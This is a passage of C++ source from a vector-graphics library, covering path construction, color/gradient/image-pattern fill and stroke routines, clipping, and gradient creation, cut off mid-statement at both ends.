(uint32_t)bx::strLen(str); if (len == 0) { return; } const uint32_t offset = clStoreString(ctx, cl, str, len); uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::TextBox, sizeof(TextConfig) + sizeof(float) * 3 + sizeof(uint32_t) * 3); bx::memCopy(ptr, &cfg, sizeof(TextConfig)); ptr += sizeof(TextConfig); CMD_WRITE(ptr, float, x); CMD_WRITE(ptr, float, y); CMD_WRITE(ptr, float, breakWidth); CMD_WRITE(ptr, uint32_t, offset); CMD_WRITE(ptr, uint32_t, len); CMD_WRITE(ptr, uint32_t, textboxFlags); } void clSubmitCommandList(Context* ctx, CommandListHandle parent, CommandListHandle child) { VG_CHECK(isValid(parent), "Invalid command list handle"); CommandList* cl = &ctx->m_CmdLists[parent.idx]; uint8_t* ptr = clAllocCommand(ctx, cl, CommandType::SubmitCommandList, sizeof(uint16_t)); CMD_WRITE(ptr, uint16_t, child.idx); } // Context static void ctxBeginPath(Context* ctx) { const State* state = getState(ctx); const float avgScale = state->m_AvgScale; const float testTol = ctx->m_TesselationTolerance; const float fringeWidth = ctx->m_FringeWidth; Path* path = ctx->m_Path; Stroker* stroker = ctx->m_Stroker; pathReset(path, avgScale, testTol); strokerReset(stroker, avgScale, testTol, fringeWidth); ctx->m_PathTransformed = false; } static void ctxMoveTo(Context* ctx, float x, float y) { VG_CHECK(!ctx->m_PathTransformed, "Call beginPath() before starting a new path"); pathMoveTo(ctx->m_Path, x, y); } static void ctxLineTo(Context* ctx, float x, float y) { VG_CHECK(!ctx->m_PathTransformed, "Call beginPath() before starting a new path"); pathLineTo(ctx->m_Path, x, y); } static void ctxCubicTo(Context* ctx, float c1x, float c1y, float c2x, float c2y, float x, float y) { VG_CHECK(!ctx->m_PathTransformed, "Call beginPath() before starting a new path"); pathCubicTo(ctx->m_Path, c1x, c1y, c2x, c2y, x, y); } static void ctxQuadraticTo(Context* ctx, float cx, float cy, float x, float y) { VG_CHECK(!ctx->m_PathTransformed, "Call beginPath() before starting a new path"); pathQuadraticTo(ctx->m_Path, cx, cy, x, y); } static void ctxArc(Context* ctx, float cx, float cy, float r, float a0, float a1, Winding::Enum dir) { VG_CHECK(!ctx->m_PathTransformed, "Call beginPath() before starting a new path"); pathArc(ctx->m_Path, cx, cy, r, a0, a1, dir); } static void ctxArcTo(Context* ctx, float x1, float y1, float x2, float y2, float r) { VG_CHECK(!ctx->m_PathTransformed, "Call beginPath() before starting a new path"); pathArcTo(ctx->m_Path, x1, y1, x2, y2, r); } static void ctxRect(Context* ctx, float x, float y, float w, float h) { VG_CHECK(!ctx->m_PathTransformed, "Call beginPath() before starting a new path"); pathRect(ctx->m_Path, x, y, w, h); } static void ctxRoundedRect(Context* ctx, float x, float y, float w, float h, float r) { VG_CHECK(!ctx->m_PathTransformed, "Call beginPath() before starting a new path"); pathRoundedRect(ctx->m_Path, x, y, w, h, r); } static void ctxRoundedRectVarying(Context* ctx, float x, float y, float w, float h, float rtl, float rtr, float rbr, float rbl) { VG_CHECK(!ctx->m_PathTransformed, "Call beginPath() before starting a new path"); pathRoundedRectVarying(ctx->m_Path, x, y, w, h, rtl, rtr, rbr, rbl); } static void ctxCircle(Context* ctx, float cx, float cy, float radius) { VG_CHECK(!ctx->m_PathTransformed, "Call beginPath() before starting a new path"); pathCircle(ctx->m_Path, cx, cy, radius); } static void ctxEllipse(Context* ctx, float cx, float cy, float rx, float ry) { VG_CHECK(!ctx->m_PathTransformed, "Call beginPath() before starting a new path"); pathEllipse(ctx->m_Path, cx, cy, rx, ry); } static void ctxPolyline(Context* ctx, const float* coords, uint32_t numPoints) { VG_CHECK(!ctx->m_PathTransformed, "Call beginPath() before starting a new path"); pathPolyline(ctx->m_Path, coords, numPoints); } static void ctxClosePath(Context* ctx) { VG_CHECK(!ctx->m_PathTransformed, "Call beginPath() before starting a new path"); pathClose(ctx->m_Path); } static void ctxFillPathColor(Context* ctx, Color color, uint32_t flags) { const bool recordClipCommands = ctx->m_RecordClipCommands; #if VG_CONFIG_ENABLE_SHAPE_CACHING const bool hasCache = getCommandListCacheStackTop(ctx) != nullptr; #else const bool hasCache = false; #endif const State* state = getState(ctx); const float globalAlpha = hasCache ? 1.0f : state->m_GlobalAlpha; const Color col = recordClipCommands ? Colors::Black : colorSetAlpha(color, (uint8_t)(globalAlpha * colorGetAlpha(color))); if (!hasCache && colorGetAlpha(col) == 0) { return; } const float* pathVertices = transformPath(ctx); #if VG_CONFIG_FORCE_AA_OFF const bool aa = false; #else const bool aa = recordClipCommands ? false : VG_FILL_FLAGS_AA(flags); #endif const PathType::Enum pathType = VG_FILL_FLAGS_PATH_TYPE(flags); const FillRule::Enum fillRule = VG_FILL_FLAGS_RULE(flags); const Path* path = ctx->m_Path; const uint32_t numSubPaths = pathGetNumSubPaths(path); const SubPath* subPaths = pathGetSubPaths(path); Stroker* stroker = ctx->m_Stroker; #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { beginCachedCommand(ctx); } #endif if (pathType == PathType::Convex) { for (uint32_t i = 0; i < numSubPaths; ++i) { const SubPath* subPath = &subPaths[i]; if (subPath->m_NumVertices < 3) { continue; } const float* vtx = &pathVertices[subPath->m_FirstVertexID << 1]; const uint32_t numPathVertices = subPath->m_NumVertices; Mesh mesh; const uint32_t* colors = &col; uint32_t numColors = 1; if (aa) { strokerConvexFillAA(stroker, &mesh, vtx, numPathVertices, col); colors = mesh.m_ColorBuffer; numColors = mesh.m_NumVertices; } else { strokerConvexFill(stroker, &mesh, vtx, numPathVertices); } #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { addCachedCommand(ctx, mesh.m_PosBuffer, mesh.m_NumVertices, colors, numColors, mesh.m_IndexBuffer, mesh.m_NumIndices); } #endif if (recordClipCommands) { createDrawCommand_Clip(ctx, mesh.m_PosBuffer, mesh.m_NumVertices, mesh.m_IndexBuffer, mesh.m_NumIndices); } else { createDrawCommand_VertexColor(ctx, mesh.m_PosBuffer, mesh.m_NumVertices, colors, numColors, mesh.m_IndexBuffer, mesh.m_NumIndices); } } } else if (pathType == PathType::Concave) { strokerConcaveFillBegin(stroker); for (uint32_t i = 0; i < numSubPaths; ++i) { const SubPath* subPath = &subPaths[i]; if (subPath->m_NumVertices < 3) { return; } const float* vtx = &pathVertices[subPath->m_FirstVertexID << 1]; const uint32_t numPathVertices = subPath->m_NumVertices; strokerConcaveFillAddContour(stroker, vtx, numPathVertices); } Mesh mesh; const uint32_t* colors = &col; uint32_t numColors = 1; bool decomposed = false; if (aa) { decomposed = strokerConcaveFillEndAA(stroker, &mesh, col, fillRule); colors = mesh.m_ColorBuffer; numColors = mesh.m_NumVertices; } else { decomposed = strokerConcaveFillEnd(stroker, &mesh, fillRule); } VG_WARN(decomposed, "Failed to triangulate concave polygon"); if (decomposed) { #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { addCachedCommand(ctx, mesh.m_PosBuffer, mesh.m_NumVertices, colors, numColors, mesh.m_IndexBuffer, mesh.m_NumIndices); } #endif if (recordClipCommands) { createDrawCommand_Clip(ctx, mesh.m_PosBuffer, mesh.m_NumVertices, mesh.m_IndexBuffer, mesh.m_NumIndices); } else { createDrawCommand_VertexColor(ctx, mesh.m_PosBuffer, mesh.m_NumVertices, colors, numColors, mesh.m_IndexBuffer, mesh.m_NumIndices); } } } #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { endCachedCommand(ctx); } #endif } static void ctxFillPathGradient(Context* ctx, GradientHandle gradientHandle, uint32_t flags) { VG_CHECK(!ctx->m_RecordClipCommands, "Only fillPath(Color) is supported inside BeginClip()/EndClip()"); VG_CHECK(isValid(gradientHandle), "Invalid gradient handle"); VG_CHECK(!isLocal(gradientHandle), "Invalid gradient handle"); #if VG_CONFIG_ENABLE_SHAPE_CACHING const bool hasCache = getCommandListCacheStackTop(ctx) != nullptr; #endif const float* pathVertices = transformPath(ctx); const PathType::Enum pathType = VG_FILL_FLAGS_PATH_TYPE(flags); const FillRule::Enum fillRule = VG_FILL_FLAGS_RULE(flags); #if VG_CONFIG_FORCE_AA_OFF const bool aa = false; #else const bool aa = VG_FILL_FLAGS_AA(flags); #endif Stroker* stroker = ctx->m_Stroker; const Path* path = ctx->m_Path; const uint32_t numSubPaths = pathGetNumSubPaths(path); const SubPath* subPaths = pathGetSubPaths(path); #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { beginCachedCommand(ctx); } #endif if (pathType == PathType::Convex) { for (uint32_t i = 0; i < numSubPaths; ++i) { const SubPath* subPath = &subPaths[i]; if (subPath->m_NumVertices < 3) { continue; } const float* vtx = &pathVertices[subPath->m_FirstVertexID << 1]; const uint32_t numPathVertices = subPath->m_NumVertices; Mesh mesh; const uint32_t black = Colors::Black; const uint32_t* colors = &black; uint32_t numColors = 1; if (aa) { strokerConvexFillAA(stroker, &mesh, vtx, numPathVertices, Colors::Black); colors = mesh.m_ColorBuffer; numColors = mesh.m_NumVertices; } else { strokerConvexFill(stroker, &mesh, vtx, numPathVertices); } #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { addCachedCommand(ctx, mesh.m_PosBuffer, mesh.m_NumVertices, colors, numColors, mesh.m_IndexBuffer, mesh.m_NumIndices); } #endif createDrawCommand_ColorGradient(ctx, gradientHandle, mesh.m_PosBuffer, mesh.m_NumVertices, colors, numColors, mesh.m_IndexBuffer, mesh.m_NumIndices); } } else if (pathType == PathType::Concave) { strokerConcaveFillBegin(stroker); for (uint32_t i = 0; i < numSubPaths; ++i) { const SubPath* subPath = &subPaths[i]; if (subPath->m_NumVertices < 3) { return; } const float* vtx = &pathVertices[subPath->m_FirstVertexID << 1]; const uint32_t numPathVertices = subPath->m_NumVertices; strokerConcaveFillAddContour(stroker, vtx, numPathVertices); } const Color black = Colors::Black; Mesh mesh; const uint32_t* colors = &black; uint32_t numColors = 1; bool decomposed = false; if (aa) { decomposed = strokerConcaveFillEndAA(stroker, &mesh, black, fillRule); colors = mesh.m_ColorBuffer; numColors = mesh.m_NumVertices; } else { decomposed = strokerConcaveFillEnd(stroker, &mesh, fillRule); } VG_WARN(decomposed, "Failed to triangulate concave polygon"); if (decomposed) { #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { addCachedCommand(ctx, mesh.m_PosBuffer, mesh.m_NumVertices, colors, numColors, mesh.m_IndexBuffer, mesh.m_NumIndices); } #endif createDrawCommand_ColorGradient(ctx, gradientHandle, mesh.m_PosBuffer, mesh.m_NumVertices, colors, numColors, mesh.m_IndexBuffer, mesh.m_NumIndices); } } #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { endCachedCommand(ctx); } #endif } static void ctxFillPathImagePattern(Context* ctx, ImagePatternHandle imgPatternHandle, Color color, uint32_t flags) { VG_CHECK(!ctx->m_RecordClipCommands, "Only fillPath(Color) is supported inside BeginClip()/EndClip()"); VG_CHECK(isValid(imgPatternHandle), "Invalid image pattern handle"); VG_CHECK(!isLocal(imgPatternHandle), "Invalid gradient handle"); #if VG_CONFIG_ENABLE_SHAPE_CACHING const bool hasCache = getCommandListCacheStackTop(ctx) != nullptr; #else const bool hasCache = false; #endif const State* state = getState(ctx); const float globalAlpha = hasCache ? 1.0f : state->m_GlobalAlpha; const Color col = colorSetAlpha(color, (uint8_t)(globalAlpha * colorGetAlpha(color))); if (!hasCache && colorGetAlpha(col) == 0) { return; } const PathType::Enum pathType = VG_FILL_FLAGS_PATH_TYPE(flags); const FillRule::Enum fillRule = VG_FILL_FLAGS_RULE(flags); #if VG_CONFIG_FORCE_AA_OFF const bool aa = false; #else const bool aa = VG_FILL_FLAGS_AA(flags); #endif const float* pathVertices = transformPath(ctx); Stroker* stroker = ctx->m_Stroker; const Path* path = ctx->m_Path; const uint32_t numSubPaths = pathGetNumSubPaths(path); const SubPath* subPaths = pathGetSubPaths(path); #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { beginCachedCommand(ctx); } #endif if (pathType == PathType::Convex) { for (uint32_t i = 0; i < numSubPaths; ++i) { const SubPath* subPath = &subPaths[i]; if (subPath->m_NumVertices < 3) { continue; } const float* vtx = &pathVertices[subPath->m_FirstVertexID << 1]; const uint32_t numPathVertices = subPath->m_NumVertices; Mesh mesh; const uint32_t* colors = &col; uint32_t numColors = 1; if (aa) { strokerConvexFillAA(stroker, &mesh, vtx, numPathVertices, col); colors = mesh.m_ColorBuffer; numColors = mesh.m_NumVertices; } else { strokerConvexFill(stroker, &mesh, vtx, numPathVertices); } #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { addCachedCommand(ctx, mesh.m_PosBuffer, mesh.m_NumVertices, colors, numColors, mesh.m_IndexBuffer, mesh.m_NumIndices); } #endif createDrawCommand_ImagePattern(ctx, imgPatternHandle, mesh.m_PosBuffer, mesh.m_NumVertices, colors, numColors, mesh.m_IndexBuffer, mesh.m_NumIndices); } } else if (pathType == PathType::Concave) { strokerConcaveFillBegin(stroker); for (uint32_t i = 0; i < numSubPaths; ++i) { const SubPath* subPath = &subPaths[i]; if (subPath->m_NumVertices < 3) { return; } const float* vtx = &pathVertices[subPath->m_FirstVertexID << 1]; const uint32_t numPathVertices = subPath->m_NumVertices; strokerConcaveFillAddContour(stroker, vtx, numPathVertices); } Mesh mesh; const uint32_t* colors = &col; uint32_t numColors = 1; bool decomposed = false; if (aa) { decomposed = strokerConcaveFillEndAA(stroker, &mesh, col, fillRule); colors = mesh.m_ColorBuffer; numColors = mesh.m_NumVertices; } else { decomposed = strokerConcaveFillEnd(stroker, &mesh, fillRule); } VG_WARN(decomposed, "Failed to triangulate concave polygon"); if (decomposed) { #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { addCachedCommand(ctx, mesh.m_PosBuffer, mesh.m_NumVertices, colors, numColors, mesh.m_IndexBuffer, mesh.m_NumIndices); } #endif createDrawCommand_ImagePattern(ctx, imgPatternHandle, mesh.m_PosBuffer, mesh.m_NumVertices, colors, numColors, mesh.m_IndexBuffer, mesh.m_NumIndices); } } #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { endCachedCommand(ctx); } #endif } static void ctxStrokePathColor(Context* ctx, Color color, float width, uint32_t flags) { const bool recordClipCommands = ctx->m_RecordClipCommands; #if VG_CONFIG_ENABLE_SHAPE_CACHING const bool hasCache = getCommandListCacheStackTop(ctx) != nullptr; #else const bool hasCache = false; #endif const State* state = getState(ctx); const float avgScale = state->m_AvgScale; const float globalAlpha = hasCache ? 1.0f : state->m_GlobalAlpha; const float fringeWidth = ctx->m_FringeWidth; const float scaledStrokeWidth = ((flags & StrokeFlags::FixedWidth) != 0) ? width : bx::clamp<float>(width * avgScale, 0.0f, 200.0f); const bool isThin = scaledStrokeWidth <= fringeWidth; const float alphaScale = !isThin ? globalAlpha : globalAlpha * bx::square(bx::clamp<float>(scaledStrokeWidth, 0.0f, fringeWidth)); const Color col = recordClipCommands ? Colors::Black : colorSetAlpha(color, (uint8_t)(alphaScale * colorGetAlpha(color))); if (!hasCache && colorGetAlpha(col) == 0) { return; } const LineJoin::Enum lineJoin = VG_STROKE_FLAGS_LINE_JOIN(flags); const LineCap::Enum lineCap = VG_STROKE_FLAGS_LINE_CAP(flags); #if VG_CONFIG_FORCE_AA_OFF const bool aa = false; #else const bool aa = recordClipCommands ? false : VG_STROKE_FLAGS_AA(flags); #endif const float strokeWidth = isThin ? fringeWidth : scaledStrokeWidth; const float* pathVertices = transformPath(ctx); const Path* path = ctx->m_Path; const uint32_t numSubPaths = pathGetNumSubPaths(path); const SubPath* subPaths = pathGetSubPaths(path); Stroker* stroker = ctx->m_Stroker; #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { beginCachedCommand(ctx); } #endif for (uint32_t iSubPath = 0; iSubPath < numSubPaths; ++iSubPath) { const SubPath* subPath = &subPaths[iSubPath]; if (subPath->m_NumVertices < 2) { continue; } const float* vtx = &pathVertices[subPath->m_FirstVertexID << 1]; const uint32_t numPathVertices = subPath->m_NumVertices; const bool isClosed = subPath->m_IsClosed; Mesh mesh; const uint32_t* colors = &col; uint32_t numColors = 1; if (aa) { if (isThin) { strokerPolylineStrokeAAThin(stroker, &mesh, vtx, numPathVertices, isClosed, col, lineCap, lineJoin); } else { strokerPolylineStrokeAA(stroker, &mesh, vtx, numPathVertices, isClosed, col, strokeWidth, lineCap, lineJoin); } colors = mesh.m_ColorBuffer; numColors = mesh.m_NumVertices; } else { strokerPolylineStroke(stroker, &mesh, vtx, numPathVertices, isClosed, strokeWidth, lineCap, lineJoin); } #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { addCachedCommand(ctx, mesh.m_PosBuffer, mesh.m_NumVertices, colors, numColors, mesh.m_IndexBuffer, mesh.m_NumIndices); } #endif if (recordClipCommands) { createDrawCommand_Clip(ctx, mesh.m_PosBuffer, mesh.m_NumVertices, mesh.m_IndexBuffer, mesh.m_NumIndices); } else { createDrawCommand_VertexColor(ctx, mesh.m_PosBuffer, mesh.m_NumVertices, colors, numColors, mesh.m_IndexBuffer, mesh.m_NumIndices); } } #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { endCachedCommand(ctx); } #endif } static void ctxStrokePathGradient(Context* ctx, GradientHandle gradientHandle, float width, uint32_t flags) { VG_CHECK(!ctx->m_RecordClipCommands, "Only strokePath(Color) is supported inside BeginClip()/EndClip()"); VG_CHECK(isValid(gradientHandle), "Invalid gradient handle"); VG_CHECK(!isLocal(gradientHandle), "Invalid gradient handle"); #if VG_CONFIG_ENABLE_SHAPE_CACHING const bool hasCache = getCommandListCacheStackTop(ctx) != nullptr; #endif const LineJoin::Enum lineJoin = VG_STROKE_FLAGS_LINE_JOIN(flags); const LineCap::Enum lineCap = VG_STROKE_FLAGS_LINE_CAP(flags); #if VG_CONFIG_FORCE_AA_OFF const bool aa = false; #else const bool aa = VG_STROKE_FLAGS_AA(flags); #endif const float* pathVertices = transformPath(ctx); const State* state = getState(ctx); const float avgScale = state->m_AvgScale; float strokeWidth = ((flags & StrokeFlags::FixedWidth) != 0) ? width : bx::clamp<float>(width * avgScale, 0.0f, 200.0f); bool isThin = false; if (strokeWidth <= ctx->m_FringeWidth) { strokeWidth = ctx->m_FringeWidth; isThin = true; } Stroker* stroker = ctx->m_Stroker; const Path* path = ctx->m_Path; const uint32_t numSubPaths = pathGetNumSubPaths(path); const SubPath* subPaths = pathGetSubPaths(path); #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { beginCachedCommand(ctx); } #endif for (uint32_t iSubPath = 0; iSubPath < numSubPaths; ++iSubPath) { const SubPath* subPath = &subPaths[iSubPath]; if (subPath->m_NumVertices < 2) { continue; } const float* vtx = &pathVertices[subPath->m_FirstVertexID << 1]; const uint32_t numPathVertices = subPath->m_NumVertices; const bool isClosed = subPath->m_IsClosed; Mesh mesh; const uint32_t black = Colors::Black; const uint32_t* colors = &black; uint32_t numColors = 1; if (aa) { if (isThin) { strokerPolylineStrokeAAThin(stroker, &mesh, vtx, numPathVertices, isClosed, vg::Colors::Black, lineCap, lineJoin); } else { strokerPolylineStrokeAA(stroker, &mesh, vtx, numPathVertices, isClosed, vg::Colors::Black, strokeWidth, lineCap, lineJoin); } colors = mesh.m_ColorBuffer; numColors = mesh.m_NumVertices; } else { strokerPolylineStroke(stroker, &mesh, vtx, numPathVertices, isClosed, strokeWidth, lineCap, lineJoin); } #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { addCachedCommand(ctx, mesh.m_PosBuffer, mesh.m_NumVertices, colors, numColors, mesh.m_IndexBuffer, mesh.m_NumIndices); } #endif createDrawCommand_ColorGradient(ctx, gradientHandle, mesh.m_PosBuffer, mesh.m_NumVertices, colors, numColors, mesh.m_IndexBuffer, mesh.m_NumIndices); } #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { endCachedCommand(ctx); } #endif } static void ctxStrokePathImagePattern(Context* ctx, ImagePatternHandle imgPatternHandle, Color color, float width, uint32_t flags) { VG_CHECK(!ctx->m_RecordClipCommands, "Only strokePath(Color) is supported inside BeginClip()/EndClip()"); VG_CHECK(isValid(imgPatternHandle), "Invalid image pattern handle"); VG_CHECK(!isLocal(imgPatternHandle), "Invalid gradient handle"); #if VG_CONFIG_ENABLE_SHAPE_CACHING const bool hasCache = getCommandListCacheStackTop(ctx) != nullptr; #else const bool hasCache = false; #endif const State* state = getState(ctx); const float avgScale = state->m_AvgScale; const float globalAlpha = hasCache ? 1.0f : state->m_GlobalAlpha; const float fringeWidth = ctx->m_FringeWidth; const float scaledStrokeWidth = ((flags & StrokeFlags::FixedWidth) != 0) ? width : bx::clamp<float>(width * avgScale, 0.0f, 200.0f); const bool isThin = scaledStrokeWidth <= fringeWidth; const float alphaScale = !isThin ? globalAlpha : globalAlpha * bx::square(bx::clamp<float>(scaledStrokeWidth, 0.0f, fringeWidth)); const Color col = colorSetAlpha(color, (uint8_t)(alphaScale * colorGetAlpha(color))); if (!hasCache && colorGetAlpha(col) == 0) { return; } const LineJoin::Enum lineJoin = VG_STROKE_FLAGS_LINE_JOIN(flags); const LineCap::Enum lineCap = VG_STROKE_FLAGS_LINE_CAP(flags); #if VG_CONFIG_FORCE_AA_OFF const bool aa = false; #else const bool aa = VG_STROKE_FLAGS_AA(flags); #endif const float strokeWidth = isThin ? fringeWidth : scaledStrokeWidth; const float* pathVertices = transformPath(ctx); Stroker* stroker = ctx->m_Stroker; const Path* path = ctx->m_Path; const uint32_t numSubPaths = pathGetNumSubPaths(path); const SubPath* subPaths = pathGetSubPaths(path); #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { beginCachedCommand(ctx); } #endif for (uint32_t iSubPath = 0; iSubPath < numSubPaths; ++iSubPath) { const SubPath* subPath = &subPaths[iSubPath]; if (subPath->m_NumVertices < 2) { continue; } const float* vtx = &pathVertices[subPath->m_FirstVertexID << 1]; const uint32_t numPathVertices = subPath->m_NumVertices; const bool isClosed = subPath->m_IsClosed; Mesh mesh; const uint32_t* colors = &col; uint32_t numColors = 1; if (aa) { if (isThin) { strokerPolylineStrokeAAThin(stroker, &mesh, vtx, numPathVertices, isClosed, col, lineCap, lineJoin); } else { strokerPolylineStrokeAA(stroker, &mesh, vtx, numPathVertices, isClosed, col, strokeWidth, lineCap, lineJoin); } colors = mesh.m_ColorBuffer; numColors = mesh.m_NumVertices; } else { strokerPolylineStroke(stroker, &mesh, vtx, numPathVertices, isClosed, strokeWidth, lineCap, lineJoin); } #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { addCachedCommand(ctx, mesh.m_PosBuffer, mesh.m_NumVertices, colors, numColors, mesh.m_IndexBuffer, mesh.m_NumIndices); } #endif createDrawCommand_ImagePattern(ctx, imgPatternHandle, mesh.m_PosBuffer, mesh.m_NumVertices, colors, numColors, mesh.m_IndexBuffer, mesh.m_NumIndices); } #if VG_CONFIG_ENABLE_SHAPE_CACHING if (hasCache) { endCachedCommand(ctx); } #endif } static void ctxBeginClip(Context* ctx, ClipRule::Enum rule) { VG_CHECK(!ctx->m_RecordClipCommands, "Already inside beginClip()/endClip() block"); ClipState* clipState = &ctx->m_ClipState; const uint32_t nextClipCmdID = ctx->m_NumClipCommands; clipState->m_Rule = rule; clipState->m_FirstCmdID = nextClipCmdID; clipState->m_NumCmds = 0; ctx->m_RecordClipCommands = true; ctx->m_ForceNewClipCommand = true; } static void ctxEndClip(Context* ctx) { VG_CHECK(ctx->m_RecordClipCommands, "Must be called once after beginClip()"); ClipState* clipState = &ctx->m_ClipState; const uint32_t nextClipCmdID = ctx->m_NumClipCommands; clipState->m_NumCmds = nextClipCmdID - clipState->m_FirstCmdID; ctx->m_RecordClipCommands = false; ctx->m_ForceNewDrawCommand = true; } static void ctxResetClip(Context* ctx) { VG_CHECK(!ctx->m_RecordClipCommands, "Must be called outside beginClip()/endClip() pair."); ClipState* clipState = &ctx->m_ClipState; if (clipState->m_FirstCmdID != ~0u) { clipState->m_FirstCmdID = ~0u; clipState->m_NumCmds = 0; ctx->m_ForceNewDrawCommand = true; } } static GradientHandle ctxCreateLinearGradient(Context* ctx, float sx, float sy, float ex, float ey, Color icol, Color ocol) { if (ctx->m_NextGradientID >= ctx->m_Config.m_MaxGradients) { return VG_INVALID_HANDLE32; } GradientHandle handle = { (uint16_t)ctx->m_NextGradientID++, 0 }; const float large = 1e5; float dx = ex - sx; float dy = ey - sy; float d = bx::sqrt(dx * dx + dy * dy); if (d > 0.0001f) { dx /= d; dy /= d; } else { dx = 0; dy = 1; } float gradientMatrix[6]; gradientMatrix[0] = dy; gradientMatrix[1] = -dx; gradientMatrix[2] = dx; gradientMatrix[3] = dy; gradientMatrix[4] = sx - dx * large; gradientMatrix[5] = sy - dy * large; const State* state = getState(ctx); const float* stateTransform = state->m_TransformMtx; float patternMatrix[6]; vgutil::multiplyMatrix3(stateTransform, gradientMatrix, patternMatrix); float inversePatternMatrix[6]; vgutil::invertMatrix3(patternMatrix, inversePatternMatrix); Gradient* grad = &ctx->m_Gradients[handle.idx]; grad->m_Matrix[0] = inversePatternMatrix[0]; grad->m_Matrix[1] = inversePatternMatrix[1]; grad->m_Matrix[2] = 0.0f; grad->m_Matrix[3] = inversePatternMatrix[2]; grad->m_Matrix[4] = inversePatternMatrix[3]; grad->m_Matrix[5] = 0.0f; grad->m_Matrix[6] = inversePatternMatrix[4]; grad->m_Matrix[7] = inversePatternMatrix[5]; grad->m_Matrix[8] = 1.0f; grad->m_Params[0] = large; grad->m_Params[1] = large + d * 0.5f; grad->m_Params[2] = 0.0f; grad->m_Params[3] = bx::max<float>(1.0f, d); grad->m_InnerColor[0] = colorGetRed(icol) / 255.0f; grad->m_InnerColor[1] = colorGetGreen(icol) / 255.0f; grad->m_InnerColor[2] = colorGetBlue(icol) / 255.0f; grad->m_InnerColor[3] = colorGetAlpha(icol) / 255.0f; grad->m_OuterColor[0] = colorGetRed(ocol) / 255.0f; grad->m_OuterColor[1] = colorGetGreen(ocol) / 255.0f; grad->m_OuterColor[2] = colorGetBlue(ocol) / 255.0f; grad->m_OuterColor[3] = colorGetAlpha(ocol) / 255.0f; return handle; } static GradientHandle ctxCreateBoxGradient(Context* ctx, float x, float y, float w, float h, float r, float f, Color icol, Color ocol) { if (ctx->m_NextGradientID >= ctx->m_Config.m_MaxGradients) { return VG_INVALID_HANDLE32; } GradientHandle handle = { (uint16_t)ctx->m_NextGradientID++, 0 }; float gradientMatrix[6]; gradientMatrix[0] = 1.0f; gradientMatrix[1] = 0.0f; gradientMatrix[2] = 0.0f; gradientMatrix[3] = 1.0f; gradientMatrix[4] = x + w * 0.5f; gradientMatrix[5] = y + h * 0.5f; const State* state = getState(ctx); const float* stateTransform = state->m_TransformMtx; float patternMatrix[6]; vgutil::multiplyMatrix3(stateTransform, gradientMatrix, patternMatrix); float inversePatternMatrix[6]; vgutil::invertMatrix3(patternMatrix, inversePatternMatrix); Gradient* grad = &ctx->m_Gradients[handle.idx]; grad->m_Matrix[0] = inversePatternMatrix[0]; grad->m_Matrix[1] = inversePatternMatrix[1]; grad->m_Matrix[2] = 0.0f; grad->m_Matrix[3] = inversePatternMatrix[2]; grad->m_Matrix[4] = inversePatternMatrix[3]; grad->m_Matrix[5] = 0.0f; grad->m_Matrix[6] = inversePatternMatrix[4]; grad->m_Matrix[7] = inversePatternMatrix[5]; grad->m_Matrix[8] = 1.0f; grad->m_Params[0] = w * 0.5f; grad->m_Params[1] = h * 0.5f; grad->m_Params[2] = r; grad->m_Params[3] = bx::max<float>(1.0f, f); grad->m_InnerColor[0] = colorGetRed(icol) / 255.0f; grad->m_InnerColor[1] = colorGetGreen(icol) / 255.0f; grad->m_InnerColor[2] = colorGetBlue(icol) / 255.0f; grad->m_InnerColor[3] = colorGetAlpha(icol) / 255.0f; grad->m_OuterColor[0] = colorGetRed(ocol) / 255.0f; grad->m_OuterColor[1] = colorGetGreen(ocol) / 255.0f; grad->m_OuterColor[2] = colorGetBlue(ocol) / 255.0f; grad->m_OuterColor[3] = colorGetAlpha(ocol) / 255.0f; return handle; } static GradientHandle ctxCreateRadialGradient(Context* ctx, float cx, float cy, float inr, float outr, Color icol, Color ocol) { if (ctx->m_NextGradientID >= ctx->m_Config.m_MaxGradients) { return VG_INVALID_HANDLE32; } GradientHandle handle = { (uint16_t)ctx->m_NextGradientID++, 0 }; float gradientMatrix[6]; gradientMatrix[0] = 1.0f; gradientMatrix[1] = 0.0f; gradientMatrix[2] = 0.0f; gradientMatrix[3] = 1.0f; gradientMatrix[4] = cx; gradientMatrix[5] = cy; const State* state = getState(ctx); const float* stateTransform = state->m_TransformMtx; float patternMatrix[6]; vgutil::multiplyMatrix3(stateTransform, gradientMatrix, patternMatrix); float inversePatternMatrix[6]; vgutil::invertMatrix3(patternMatrix, inversePatternMatrix); const float r = (inr + outr) * 0.5f; const float f = (outr - inr); Gradient* grad = &ctx->m_Gradients[handle.idx]; grad->m_Matrix[0] = inversePatternMatrix[0]; grad->m_Matrix[1] = inversePatternMatrix[1]; grad->m_Matrix[2] = 0.0f; grad->m_Matrix[3] = inversePatternMatrix[2]; grad->m_Matrix[4] = inversePatternMatrix[3]; grad->m_Matrix[5] = 0.0f; grad->m_Matrix[6] = inversePatternMatrix[4]; grad->m_Matrix[7] = inversePatternMatrix[5]; grad->m_Matrix[8] = 1.0f; grad->m_Params[0] = r; grad->m_Params[1] = r; grad->m_Params[2] = r; grad->m_Params[3] = bx::max<float>(1.0f, f); grad->m_InnerColor[0] = colorGetRed(icol) / 255.0f; grad->m_InnerColor[1] = colorGetGreen(icol) / 255.0f; grad->m_InnerColor[2] = colorGetBlue(icol) / 255.0f; grad->m_InnerColor[3] = 